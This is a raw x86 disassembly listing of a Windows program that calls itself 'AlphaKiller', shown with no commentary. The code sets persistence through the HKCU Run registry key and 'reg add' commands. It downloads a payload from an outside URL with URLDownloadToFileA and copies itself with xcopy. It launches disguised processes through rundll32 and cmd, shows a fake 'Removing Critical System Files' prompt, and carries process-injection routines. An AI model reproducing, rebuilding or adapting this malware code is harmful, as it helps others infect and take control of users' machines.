push dword [ebp - 0x3214]
lea eax, [ebp - 0x31bc]
push eax
call fcn.0043fd90
add esp, 8
test eax, eax
jne 0x404e8a
inc edi
lea eax, [ebp - 0x31e0]
push eax
push dword [ebp - 0x3210]
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x404e70
push dword [ebp - 0x3210]
call dword [ebp - 0x31f0]
mov dword [ebp - 0x3210], edi
cmp dword [ebp - 0x3210], 3
jge 0x404ee2
mov ecx, dword [ebp - 0x3234]
mov eax, ecx
inc ecx
mov dword [ebp - 0x3234], ecx
test al, 1
je 0x404f86
lea eax, [ebp - 0x2d64]
push eax
call fcn.004412f8
add esp, 4
mov edi, dword [ebp - 0x31f0]
push str.GlobalAlphaKiller
push 1
push 0x100000
call dword [sym.imp.KERNEL32.DLL_OpenMutexW]
test eax, eax
jne 0x405146
push 0x64
call dword [ebp - 0x324c]
push 0
lea eax, [ebp - 0x3230]
push eax
push 0
push 2
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x405029
lea ecx, [ebp - 0x2d64]
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404f40
mov edi, dword [ebp - 0x3214]
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
lea eax, [ebp - 0x2d64]
push eax
push 1
push 0
push edi
push dword [ebp - 0x3230]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x3230]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40502f
lea eax, [ebp - 0x32f8]
mov dword [ebp - 0x3390], 0x44
push eax
lea eax, [ebp - 0x3390]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push str.__spawnProcess
lea eax, [ebp - 0x328]
movlpd qword [ebp - 0x338c], xmm0
push eax
movlpd qword [ebp - 0x3384], xmm0
movlpd qword [ebp - 0x337c], xmm0
movlpd qword [ebp - 0x3374], xmm0
movlpd qword [ebp - 0x336c], xmm0
movlpd qword [ebp - 0x3364], xmm0
movlpd qword [ebp - 0x335c], xmm0
movlpd qword [ebp - 0x3354], xmm0
movups xmmword [ebp - 0x32f8], xmm0
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x404ee2
push dword [ebp - 0x32f8]
mov edi, dword [ebp - 0x31f0]
call edi
push dword [ebp - 0x32f4]
call edi
jmp 0x404ee8
mov edi, dword [ebp - 0x3214]
cmp dword [ebp - 0x3210], 1
jg 0x404e22
push 0x3e8
call dword [ebp - 0x324c]
push 0x20a
lea eax, [ebp - 0x2564]
push 0
push eax
call fcn.004378c0
lea ecx, [ebp - 0x328]
mov eax, edi
sub eax, ecx
sar eax, 1
push eax
mov eax, ecx
push eax
lea eax, [ebp - 0x2564]
push eax
call fcn.00441303
push str.AlphaKillerTheOne.exe
lea eax, [ebp - 0x2564]
push 0x104
push eax
call fcn.00440d93
add esp, 0x24
lea eax, [ebp - 0x2564]
push eax
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileW]
lea eax, [ebp - 0x3308]
mov dword [ebp - 0x334c], 0x44
push eax
lea eax, [ebp - 0x334c]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x46d654
lea eax, [ebp - 0x2564]
movlpd qword [ebp - 0x3348], xmm0
push eax
movlpd qword [ebp - 0x3340], xmm0
movlpd qword [ebp - 0x3338], xmm0
movlpd qword [ebp - 0x3330], xmm0
movlpd qword [ebp - 0x3328], xmm0
movlpd qword [ebp - 0x3320], xmm0
movlpd qword [ebp - 0x3318], xmm0
movlpd qword [ebp - 0x3310], xmm0
movups xmmword [ebp - 0x3308], xmm0
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x404e22
push dword [ebp - 0x3308]
mov edi, dword [ebp - 0x31f0]
call edi
push dword [ebp - 0x3304]
call edi
jmp 0x404e22
push eax
call edi
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
lea ecx, [ebp - 0x3294]
call fcn.0040ac50
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x329c]
push dword [ebp - 0x3214]
mov edx, eax
call fcn.0040a140
add esp, 4
push 0
push 0x100
push dword [eax]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyExW]
mov edx, dword [ebp - 0x329c]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4051a7
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 8
mov eax, esi
mov edx, dword [ebp - 0x3294]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4051cb
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 7
mov eax, esi
mov edx, dword [ebp - 0x322c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4051ef
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov eax, esi
mov edx, dword [ebp - 0x31e4]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405213
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x3240]
jmp 0x4074c6
cmp byte [ebp - 0x3278], 0
je 0x40529a
cmp byte [ebp - 0x327c], 0
jne 0x40529a
lea eax, [ebp - 0x20]
mov dword [ebp - 0x6c], 0x44
push eax
lea eax, [ebp - 0x6c]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push str.__ignoreFastRestart
lea eax, [ebp - 0x328]
movlpd qword [ebp - 0x68], xmm0
push eax
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
movups xmmword [ebp - 0x20], xmm0
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
jmp 0x404a61
cmp byte [ebp - 0x3238], 0
je 0x4054e9
push dword [ebp - 0x320c]
lea ecx, [ebp - 0x3214]
call fcn.0040ac50
push str._downloadfile
lea ecx, [ebp - 0x31ec]
mov byte [ebp - 4], 0x1e
call fcn.0040ac50
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x31ec]
test ecx, ecx
jne 0x4052e6
mov dword [ebp - 0x3204], 0xffffffff
jmp 0x405328
mov eax, dword [ebp - 0x3214]
cmp dword [eax - 0xc], 0
jge 0x4052fe
mov dword [ebp - 0x3204], 0xffffffff
jmp 0x405328
push ecx
push eax
call fcn.00436da6
mov esi, eax
add esp, 8
test esi, esi
jne 0x40531a
mov dword [ebp - 0x3204], 0xffffffff
jmp 0x405328
sub esi, dword [ebp - 0x3214]
sar esi, 1
mov dword [ebp - 0x3204], esi
call fcn.004016d0
mov ecx, eax
test ecx, ecx
je 0x407555
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0x3200], esi
mov byte [ebp - 4], 0x20
mov eax, dword [ebp - 0x31ec]
mov ecx, dword [ebp - 0x3214]
mov edi, dword [ebp - 0x3230]
mov edx, dword [eax - 0xc]
add edx, dword [ebp - 0x3204]
cmp edx, dword [ecx - 0xc]
jge 0x4053d0
lfence
mov ecx, dword [ecx - 0xc]
mov eax, dword [eax - 0xc]
mov edx, dword [ebp - 0x3204]
sub ecx, edx
sub ecx, eax
inc edx
push ecx
add eax, edx
lea ecx, [ebp - 0x3214]
push eax
lea eax, [ebp - 0x3238]
push eax
call fcn.0040a570
push eax
lea ecx, [ebp - 0x3200]
mov byte [ebp - 4], 0x21
call fcn.0040aa40
mov byte [ebp - 4], 0x20
or eax, 0xffffffff
mov edx, dword [ebp - 0x3238]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4053ca
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x3200]
push str.urlmon
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [ebp - 0x3278], eax
test eax, eax
je 0x405495
push str.URLDownloadToFileA
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x3238], eax
test eax, eax
je 0x405489
cmp dword [esi - 0xc], 0
jne 0x40541b
push 0x26
push str.http:__www.earthcalendar.net_index.php
lea ecx, [ebp - 0x3200]
call fcn.0040ca50
push ecx
lea ecx, [ebp - 0x3200]
call fcn.0040a880
movq xmm0, qword [str.payload.txt]
lea ecx, [ebp - 0x327c]
mov eax, dword [0x46f6e8]
mov esi, dword [ebp - 0x3200]
push esi
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x14], eax
call fcn.0040b3e0
push 0
push 0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x22
push ecx
push dword [eax]
push 0
call dword [ebp - 0x3238]
mov byte [ebp - 4], 0x20
or eax, 0xffffffff
mov edx, dword [ebp - 0x327c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405489
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push dword [ebp - 0x3278]
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
lea edx, [esi - 0x10]
mov byte [ebp - 4], 0x1f
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4054b6
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x1e
mov eax, esi
mov edx, dword [ebp - 0x31ec]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4054da
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x3214]
jmp 0x406e03
cmp byte [ebp - 0x325c], 0
je 0x40561b
movups xmm0, xmmword [str._______eicar]
mov ax, word [0x46f704]
xor esi, esi
mov word [ebp - 0x50], ax
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x2e], 0
movq xmm0, qword [0x46f6fc]
lea edi, [esi + 0x18]
movq qword [ebp - 0x58], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x4e], xmm0
mov word [ebp - 0x2a], 0
movups xmmword [ebp - 0x3e], xmm0
call fcn.0043fc5f
cdq
idiv edi
add edx, 0x61
mov word [ebp + esi*2 - 0x68], dx
inc esi
cmp esi, 6
jl 0x405535
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x1148]
push 0x104
push eax
call fcn.00440d93
push str..com
lea eax, [ebp - 0x1148]
push 0x104
push eax
call fcn.00440d93
add esp, 0x18
lea eax, [ebp - 0x1148]
push 0
push 0x80
push 2
push 0
push 1
push 0x10000000
push eax
call dword [ebp - 0x3214]
movups xmm0, xmmword [str.X5O_P__AP_4PZX54_P_7CC_7_EICAR_STANDARD_ANTIVIRUS_TEST_FILE__HH]
mov ecx, dword [0x46f758]
mov esi, eax
mov al, byte [0x46f75c]
movups xmmword [ebp - 0x110], xmm0
push 0
movups xmm0, xmmword [0x46f728]
mov byte [ebp - 0xcc], al
lea eax, [ebp - 0x3208]
push eax
movups xmmword [ebp - 0x100], xmm0
push 0x44
movups xmm0, xmmword [0x46f738]
lea eax, [ebp - 0x110]
mov dword [ebp - 0xd0], ecx
push eax
movups xmmword [ebp - 0xf0], xmm0
push esi
movups xmm0, xmmword [0x46f748]
movups xmmword [ebp - 0xe0], xmm0
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [ebp - 0x31f0]
mov byte [ebp - 4], 7
or esi, 0xffffffff
mov edi, dword [ebp - 0x3230]
jmp 0x406e21
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.0043fc80
add esp, 4
mov dword [ebp - 0xc8], 0x5f
cmp byte [ebp - 0x3260], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xc4], xmm0
mov dword [ebp - 0xb4], 0
jne 0x405692
xor edi, edi
call fcn.0043fc5f
cdq
mov ecx, 0x18
idiv ecx
add edx, 0x61
mov word [ebp + edi*2 - 0xc6], dx
inc edi
cmp edi, 6
jl 0x405653
lea eax, [edi*2 + 2]
mov edi, dword [ebp - 0x3230]
cmp eax, ecx
jae 0x40755f
xor ecx, ecx
mov word [ebp + eax - 0xc8], cx
jmp 0x4056a0
movups xmm0, xmmword [0x46f764]
movups xmmword [ebp - 0xc8], xmm0
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x1148]
push 0x104
push eax
call fcn.00440d93
add esp, 0xc
lea eax, [ebp - 0x1148]
push 0
push eax
push 0
call dword [ebp - 0x31e8]
lea eax, [ebp - 0x1148]
push eax
lea ecx, [ebp - 0x325c]
call fcn.0040b3e0
push str.__extraEmpty.dll
mov edx, eax
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x3260]
call fcn.0040af20
add esp, 4
push 0
push 0x8000080
push 2
push 0
push 1
push 0x40000000
push dword [eax]
mov eax, dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x3278], eax
call eax
mov edx, dword [ebp - 0x3260]
mov ecx, esi
mov dword [ebp - 0x3238], eax
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x40573e
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 8
mov eax, esi
mov edx, dword [ebp - 0x325c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405762
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push dword [ebp - 0x3238]
call dword [ebp - 0x31f0]
push str._ren_1
lea ecx, [ebp - 0x31fc]
call fcn.0040aad0
lea eax, [ebp - 0x1148]
mov byte [ebp - 4], 0x24
push eax
lea ecx, [ebp - 0x3238]
call fcn.0040ac50
lea ecx, [ebp - 0x31fc]
mov byte [ebp - 4], 0x25
push ecx
mov edx, eax
lea ecx, [ebp - 0x325c]
call fcn.0040a2e0
add esp, 4
mov esi, eax
lea eax, [ebp - 0x1148]
mov byte [ebp - 4], 0x26
push eax
lea ecx, [ebp - 0x3260]
call fcn.0040ac50
push dword [esi]
push dword [eax]
mov eax, dword [sym.imp.KERNEL32.DLL_MoveFileW]
mov dword [ebp - 0x31ec], eax
call eax
mov edx, dword [ebp - 0x3260]
or esi, 0xffffffff
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4057fb
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x25
mov eax, esi
mov edx, dword [ebp - 0x325c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40581f
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x24
mov eax, esi
mov edx, dword [ebp - 0x3238]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405843
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 8
mov eax, esi
mov edx, dword [ebp - 0x31fc]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405867
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push str._ren_2
lea ecx, [ebp - 0x321c]
call fcn.0040aad0
push str._ren_1
lea ecx, [ebp - 0x31fc]
mov byte [ebp - 4], 0x27
call fcn.0040aad0
lea eax, [ebp - 0x1148]
mov byte [ebp - 4], 0x28
push eax
lea ecx, [ebp - 0x327c]
call fcn.0040ac50
lea ecx, [ebp - 0x321c]
mov byte [ebp - 4], 0x29
push ecx
mov edx, eax
lea ecx, [ebp - 0x3238]
call fcn.0040a2e0
add esp, 4
mov esi, eax
lea eax, [ebp - 0x1148]
mov byte [ebp - 4], 0x2a
push eax
lea ecx, [ebp - 0x325c]
call fcn.0040ac50
lea ecx, [ebp - 0x31fc]
mov byte [ebp - 4], 0x2b
push ecx
mov edx, eax
lea ecx, [ebp - 0x3260]
call fcn.0040a2e0
add esp, 4
push dword [esi]
push dword [eax]
call dword [ebp - 0x31ec]
mov edx, dword [ebp - 0x3260]
or esi, 0xffffffff
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40591c
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x2a
mov eax, esi
mov edx, dword [ebp - 0x325c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405940
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x29
mov eax, esi
mov edx, dword [ebp - 0x3238]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405964
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x28
mov eax, esi
mov edx, dword [ebp - 0x327c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405988
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x27
mov eax, esi
mov edx, dword [ebp - 0x31fc]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4059ac
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 8
mov eax, esi
mov edx, dword [ebp - 0x321c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4059d0
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push str..exe
lea eax, [ebp - 0x1148]
push 0x104
push eax
call fcn.00440d93
add esp, 0xc
cmp byte [ebp - 0x32c4], 0
jne 0x406e92
cmp byte [ebp - 0x3234], 0
jne 0x406e92
cmp byte [ebp - 0x32c0], 0
je 0x405aea
push 0x800
lea eax, [ebp - 0x1b58]
push 0
push eax
call fcn.004378c0
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x1148]
push eax
lea eax, [ebp - 0x328]
push eax
lea eax, [ebp - 0x1b58]
push str.echo_F__xcopy__Y__C___s____s_
push eax
call esi
lea eax, [ebp - 0x1b58]
push eax
call fcn.004412f8
lea eax, [ebp - 0x1148]
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x1b58]
push str.reg_add_HKCUSoftwareMicrosoftWindowsCurrentVersionRun__v___s___t_REG_SZ__d___s_
push eax
call esi
lea eax, [ebp - 0x1b58]
push eax
call fcn.004412f8
lea eax, [ebp - 0x1148]
push eax
lea eax, [ebp - 0x1b58]
push str.rundll32.exe___s___dllCall_
push eax
call esi
add esp, 0x40
lea eax, [ebp - 0x1b58]
push eax
call fcn.004412f8
lea eax, [ebp - 0x1148]
push eax
lea eax, [ebp - 0x1b58]
push str.cmd.exe__c_start__S.M.A.R.T_BG___B___s___exit
push eax
call esi
lea eax, [ebp - 0x1b58]
push eax
call fcn.004412f8
lea eax, [ebp - 0x328]
push eax
lea eax, [ebp - 0x1b58]
push str.start__B_cmd__c__choice__M__Removing_Critical_System_Files
push eax
call esi
lea eax, [ebp - 0x1b58]
push eax
call fcn.004412f8
add esp, 0x24
or esi, 0xffffffff
jmp 0x407477
cmp byte [ebp - 0x32bc], 0
je 0x405bf6
call fcn.004016d0
mov ecx, eax
test ecx, ecx
je 0x407564
cmp byte [ebp - 0x32dc], 0
je 0x405c06
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406e1d
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 7
mov eax, esi
add edi, 0xfffffff0
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x406e3b
lfence
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov eax, esi
mov edx, dword [ebp - 0x31e4]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406e5f
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x31f4]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x40730c
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, 1
jmp 0x4074e0
call fcn.004016d0
mov ecx, eax
test ecx, ecx
je 0x4075c3
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3200], eax
cmp byte [ebp - 0x3234], 0
push ecx
mov byte [ebp - 4], 0x2c
mov ecx, esp
mov dword [ebp - 0x3220], esp
je 0x406efb
push str._downloadAPCRegSvr
call fcn.0040ac50
push ecx
mov byte [ebp - 4], 0x2d
mov ecx, esp
push dword [ebp - 0x320c]
call fcn.0040ac50
lea ecx, [ebp - 0x3208]
mov byte [ebp - 4], 0x2c
call fcn.004027d0
add esp, 8
mov byte [ebp - 4], 0x2e
jmp 0x406f2d
push str._downloadfile
call fcn.0040ac50
push ecx
mov byte [ebp - 4], 0x2f
mov ecx, esp
push dword [ebp - 0x320c]
call fcn.0040ac50
lea ecx, [ebp - 0x3208]
mov byte [ebp - 4], 0x2c
call fcn.004027d0
add esp, 8
mov byte [ebp - 4], 0x30
push eax
lea ecx, [ebp - 0x3200]
call fcn.0040aa40
mov byte [ebp - 4], 0x2c
mov eax, esi
mov edx, dword [ebp - 0x3208]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406f5d
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push str.urlmon
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [ebp - 0x3274], eax
test eax, eax
je 0x407281
mov eax, 1
jmp 0x4074e0
push str.GlobalAlphaKillerMemXXXSelf
push 1
push 0x100000
call dword [sym.imp.KERNEL32.DLL_OpenMutexW]
test eax, eax
jne 0x40742b
mov edx, str.GlobalAlphaKillerMemXXXSelf
call fcn.00407730
mov dword [ebp - 0x3220], eax
test eax, eax
je 0x407477
mov dword [ebp - 0x3270], 0
call fcn.004016d0
mov ecx, eax
test ecx, ecx
je 0x4075c3
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3250], eax
cmp byte [ebp - 0x3258], 0
mov ecx, str.SuspendInjectAndResume_WriteProcessMemory
mov eax, str.CreateRemoteThread_NtMapViewOfSection
mov byte [ebp - 4], 0x1c
cmove eax, ecx
lea ecx, [ebp - 0x328]
push ecx
push eax
lea eax, [ebp - 0x3250]
push str.inject__s_null_1__s
push eax
call fcn.0040cdd0
add esp, 0xc
mov esi, esp
mov dword [ebp - 0x3208], esi
mov eax, dword [ebp - 0x3250]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x323c], eax
call fcn.0040c960
add eax, 0x10
lea ecx, [ebp - 0x3270]
mov dword [esi], eax
call fcn.00418470
mov esi, dword [ebp - 0x3270]
add esp, 4
test esi, esi
je 0x407410
mov edx, str.GlobalAlphaKillerMemXXXSelf_InjectionDone
call fcn.00407730
mov dword [ebp - 0x3208], eax
test eax, eax
je 0x407409
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0x3208]
call dword [ebp - 0x31f0]
push esi
call dword [ebp - 0x31f0]
push dword [ebp - 0x3220]
call dword [ebp - 0x31f0]
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x323c]
jmp 0x404496
push eax
call dword [ebp - 0x31f0]
push str.GlobalAlphaKillerMemXXXSelf_InjectionDone
push 1
push 0x100000
call dword [sym.imp.KERNEL32.DLL_OpenMutexW]
test eax, eax
jne 0x407470
mov edi, dword [ebp - 0x324c]
nop
push 0x64
call edi
push str.GlobalAlphaKillerMemXXXSelf_InjectionDone
push 1
push 0x100000
call dword [sym.imp.KERNEL32.DLL_OpenMutexW]
test eax, eax
je 0x407450
mov edi, dword [ebp - 0x3230]
push eax
call dword [ebp - 0x31f0]
mov eax, esi
mov byte [ebp - 4], 7
add edi, 0xfffffff0
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x407495
lfence
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov eax, esi
mov edx, dword [ebp - 0x31e4]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4074b9
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x31f4]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x4074de
lfence
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004356fe
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.00401400
push 0x80004005
call fcn.00401400
push 0x80004005
call fcn.00401400
push 0x80004005
call fcn.00401400
push 0x80004005
call fcn.00401400
push 0x80004005
call fcn.00401400
push 0x80004005
call fcn.00401400
push 0x80070057
call fcn.00401400
push 0x80004005
call fcn.00401400
push 0x80004005
call fcn.00401400
call fcn.00435a3c
push 0x80004005
call fcn.00401400
call fcn.0044118c
push 0x80004005
call fcn.00401400
push 0x80004005
call fcn.00401400
push 0x80004005
call fcn.00401400
push 0x80004005
call fcn.00401400
push 0x80004005
call fcn.00401400
push 0x80004005
call fcn.00401400
push 0x80004005
call fcn.00401400
push 0x80004005
call fcn.00401400
push 0x80004005
call fcn.00401400
int3